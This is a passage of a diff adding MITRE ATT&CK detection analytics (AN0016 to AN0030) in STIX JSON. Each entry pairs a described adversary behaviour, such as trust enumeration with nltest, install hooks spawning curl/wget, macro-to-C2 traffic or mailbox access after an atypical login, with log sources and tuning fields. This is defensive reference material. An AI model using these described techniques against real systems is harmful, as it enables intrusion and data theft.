"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkdevice:syslog", + "channel": "ACL/Firewall rule modification or new route injection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between configuration changes and abnormal traffic; tuned to match expected administrative change cycles." + }, + { + "field": "ApprovedChangeList", + "description": "Known authorized ACL/firewall changes; suppresses noise from legitimate maintenance." + }, + { + "field": "GeoLocation", + "description": "Geographic origin of new traffic patterns; helps distinguish benign remote offices from suspicious foreign access." + }, + { + "field": "TrafficVolumeThreshold", + "description": "Volume of cross-segment traffic; tuned to detect large-scale lateral flows without flagging small test connections." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c3be6c4a-3b3d-4a37-a1d8-2c4df915a7aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0007#AN0016", + "external_id": "AN0016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0016", + "description": "Adversary uses nltest, PowerShell, or Win32/.NET API to enumerate domain trust relationships (via DSEnumerateDomainTrusts, GetAllTrustRelationships, or LDAP queries), followed by discovery or authentication staging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "Get-ADTrust|GetAllTrustRelationships" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "name": "WinEventLog:Security", + "channel": "EventCode=4662" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentImage", + "description": "Tune based on expected script hosts or authorized administrators invoking trust enumeration." + }, + { + "field": "TimeWindow", + "description": "Correlate enumeration + subsequent Kerberos activity or DC interaction within a bounded window." + }, + { + "field": "UserContext", + "description": "Prioritize detection for non-admin or unexpected user accounts performing enumeration." + }, + { + "field": "API_Name", + "description": "Flag uncommon or low-prevalence API calls like DSEnumerateDomainTrusts for inspection." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7d4732f8-989c-4425-81c4-aa3e1bcb8d0e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0008#AN0017", + "external_id": "AN0017" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0017", + "description": "Cloud login from atypical geolocation or user-agent string, followed by resource enumeration or infrastructure manipulation using cloud CLI/API", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin, AssumeRole, ListResources" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "gcp:audit", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IPGeoRiskScore", + "description": "Tunable scoring system for evaluating geo-divergent or TOR-origin logins" + }, + { + "field": "UserAgentFingerprint", + "description": "Flag rare CLI tools or browser-based sessions" + }, + { + "field": "SessionDuration", + "description": "Threshold for how long between login and API access" + }, + { + "field": "CloudResourceScope", + "description": "Limit monitoring to high-value resource groups or sensitive tenants" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ecb9db5c-55ef-48df-8ccb-f57db8c32a08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0008#AN0018", + "external_id": "AN0018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0018", + "description": "Federated login using SSO or OAuth grant to cloud control plane, followed by directory or permissions enumeration", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Okta:SystemLog", + "channel": "user.authentication.sso, app.oauth.grant" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSOApplicationScope", + "description": "Tune based on applications federated to high-priv cloud assets" + }, + { + "field": "ClientIDScope", + "description": "Filter based on expected OIDC clients used for login" + }, + { + "field": "LoginVelocity", + "description": "Track multiple geographic logins within short windows" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c85d0aea-06c4-4b0f-8552-0d0873394ffa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0008#AN0019", + "external_id": "AN0019" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0019", + "description": "Login to M365 or Google Workspace from CLI tools or unexpected source IPs, followed by mailbox or document access", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "m365:unified", + "channel": "FileAccessed, MailboxAccessed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:unified", + "channel": "UserLoggedIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DevicePlatformMismatch", + "description": "Raise alerts on login from CLI when user typically uses web-only" + }, + { + "field": "SensitiveDocumentAccessPattern", + "description": "Track access to documents labeled as internal/confidential" + }, + { + "field": "AccessFrequencyThreshold", + "description": "Tune for high-volume document reads post login" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fb23f9ee-cdc8-46be-8f40-3631afbaff5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0008#AN0020", + "external_id": "AN0020" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0020", + "description": "Remote access to third-party SaaS with OAuth or API tokens post-initial compromise, followed by sensitive data access or configuration changes", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:auth", + "channel": "LoginSuccess, APIKeyUse, AdminAction" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OAuthTokenAge", + "description": "Older tokens issued before password change may indicate compromise" + }, + { + "field": "AppScope", + "description": "Restrict detection to high-value or regulated SaaS apps" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9ec9d296-173f-4e47-8bc4-d20d558e6e18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0009#AN0021", + "external_id": "AN0021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0021", + "description": "Adversary manipulates dependencies/dev tools used by developers or CI: a package manager (npm/yarn/pnpm, pip/pipenv, nuget/dotnet, chocolatey/winget, maven/gradle) or a compiler/IDE downloads or restores content; files are written under project paths and execution paths (node_modules, packages, .nuget, .gradle, .m2, %AppData%\\npm, %UserProfile%\\.cargo\\bin, temp build dirs). First run of newly written components triggers scripts (preinstall/postinstall), shell/PowerShell spawning, or loader DLLs, followed by network egress to non-approved registries/CDNs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Invalid/Unsigned image when developer tool launches newly installed binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "First-time outbound connections to package registries or unknown hosts immediately after restore/build" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate file write by package manager to first execution and egress (default 90 minutes)." + }, + { + "field": "ApprovedRegistries", + "description": "Allow-listed registries (e.g., registry.npmjs.org, pypi.org, nuget.org, maven.apache.org, company proxies/CDNs)." + }, + { + "field": "DevHosts", + "description": "Limit analytics to engineering endpoints/CI agents to reduce noise." + }, + { + "field": "TrustedPublishers", + "description": "Code-signing publishers acceptable for dev tools." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e95639e-633f-47cf-b343-3ea771c19192", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0009#AN0022", + "external_id": "AN0022" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0022", + "description": "Developer or CI invokes package managers/compilers (apt/yum + build-essential, npm/yarn/pnpm, pip/pip3, gem, cargo, go, maven/gradle). These write executable or script files into PATH or project dirs and immediately execute embedded lifecycle hooks (preinstall/postinstall, setup.py, npm scripts) that spawn shells or curl/wget, followed by egress to unfamiliar registries or domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "rename, chmod" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "journald:package", + "channel": "dpkg/apt or yum/dnf transaction logs (install/update of build tools)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "First-time egress to new registries/CDNs post-install/build" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedRepos", + "description": "Allowed APT/YUM repos and GPG keys for build tools." + }, + { + "field": "PathScope", + "description": "Monitor /usr/local/bin, /usr/bin, /opt/*/bin, ~/.local/bin, node_modules/.bin, .venv/bin, .cargo/bin, .gradle, .m2." + }, + { + "field": "TimeWindow", + "description": "Default 90 minutes for write\u2192exec\u2192egress linkage." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0f186e7f-fe33-45d6-ba1e-02a334cf1cb3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0009#AN0023", + "external_id": "AN0023" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0023", + "description": "Developer tools (Homebrew, pip, npm/yarn, Xcode builds) install or update dependencies; new Mach-O or scripts appear under /usr/local, /opt/homebrew, ~/Library/Application Support, project dirs (node_modules/.bin, venv/bin). First run spawns sh/zsh/osascript/curl and new outbound flows; Gatekeeper/AMFI may flag unsigned components.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "softwareupdated/homebrew/install logs, pkginstalld events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "First-time egress to non-approved registries after dependency install" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTeamIDs", + "description": "Apple Developer Team IDs for approved dev tools (Xcode, JetBrains, etc.)." + }, + { + "field": "BrewTapsAllowList", + "description": "Homebrew taps allowed in your environment." + }, + { + "field": "TimeWindow", + "description": "Default 90 minutes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9418d7e2-666f-4f73-9ac7-96b32005e9b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0024", + "external_id": "AN0024" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0024", + "description": "Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:WMI", + "channel": "Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Filters triggering on SYSTEM or LOCAL SERVICE vs. user-initiated triggers" + }, + { + "field": "TimeWindow", + "description": "Correlates trigger definition and execution timing (e.g., within 5 minutes)" + }, + { + "field": "PathAnomalyThreshold", + "description": "Process or binary path deviation scoring for execution anomalies" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--92d182e9-6723-43e4-9eab-f00aa6d53153", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0025", + "external_id": "AN0025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0025", + "description": "Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "linux:syslog", + "channel": "Execution of non-standard script or binary by cron" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "Execution of script interpreters by systemd timer (ExecStart)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutablePathRegex", + "description": "Regex defining suspicious binary/script paths triggered by cron/systemd" + }, + { + "field": "WatchTargetPaths", + "description": "Paths monitored by auditd/inotify for suspicious event registration" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--636b1cca-1fc4-4909-ac33-c2b2a7d69e02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0026", + "external_id": "AN0026" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0026", + "description": "Correlates launchd plist modifications with subsequent unauthorized script execution or anomalous parent-child process trees involving user agents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with suspicious arguments" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistNamePattern", + "description": "Regex pattern matching known rogue or unrecognized launchd plist names" + }, + { + "field": "ParentProcessBaseline", + "description": "Expected parent-child relationships during plist-triggered execution" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0fb1d87b-e993-447e-8a2f-e9d42f6859c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0027", + "external_id": "AN0027" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0027", + "description": "Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "CreateFunction" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "InvokeFunction" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TriggerEventType", + "description": "Specific cloud event (e.g., PutObject, CreateRole) that causes function invocation" + }, + { + "field": "ServiceAccountRole", + "description": "Expected permissions for roles used in function execution" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--982100e1-6d38-4d0e-b36d-7e2d2cf5a424", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0028", + "external_id": "AN0028" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0028", + "description": "Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "m365:unified", + "channel": "Creation of Power Automate flow triggered by OneDrive or Exchange event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:unified", + "channel": "Automated forwarding or file sync initiated by a logic app" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TriggerCondition", + "description": "Event types that initiate SaaS automation (e.g., file add, new email)" + }, + { + "field": "AppIdentityScope", + "description": "Scopes/permissions granted to automation app accounts" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d8e18081-2670-4a88-9246-59a1dc52c51c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0029", + "external_id": "AN0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0029", + "description": "Detects macros or VBA triggers set to execute on document open or close events, often correlating with embedded payloads or C2 traffic shortly after execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "m365:office", + "channel": "VBA auto_open, auto_close, or document_open events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "m365:office", + "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroFunctionNames", + "description": "Names of event-bound functions like Auto_Open that initiate execution" + }, + { + "field": "TimeDeltaMacroToC2", + "description": "Time threshold to correlate macro execution with outbound connections" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e852bb9-785d-4bc4-9f7e-b7e43a5d8bc8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0011#AN0030", + "external_id": "AN0030" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0030", + "description": "Processes generating large outbound connections with disproportionate send/receive ratios, often to uncommon ports or hosts, potentially inserting meaningless data into protocol payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "TCP/UDP" + } + ], + "x_mitre_modified_by_ref": 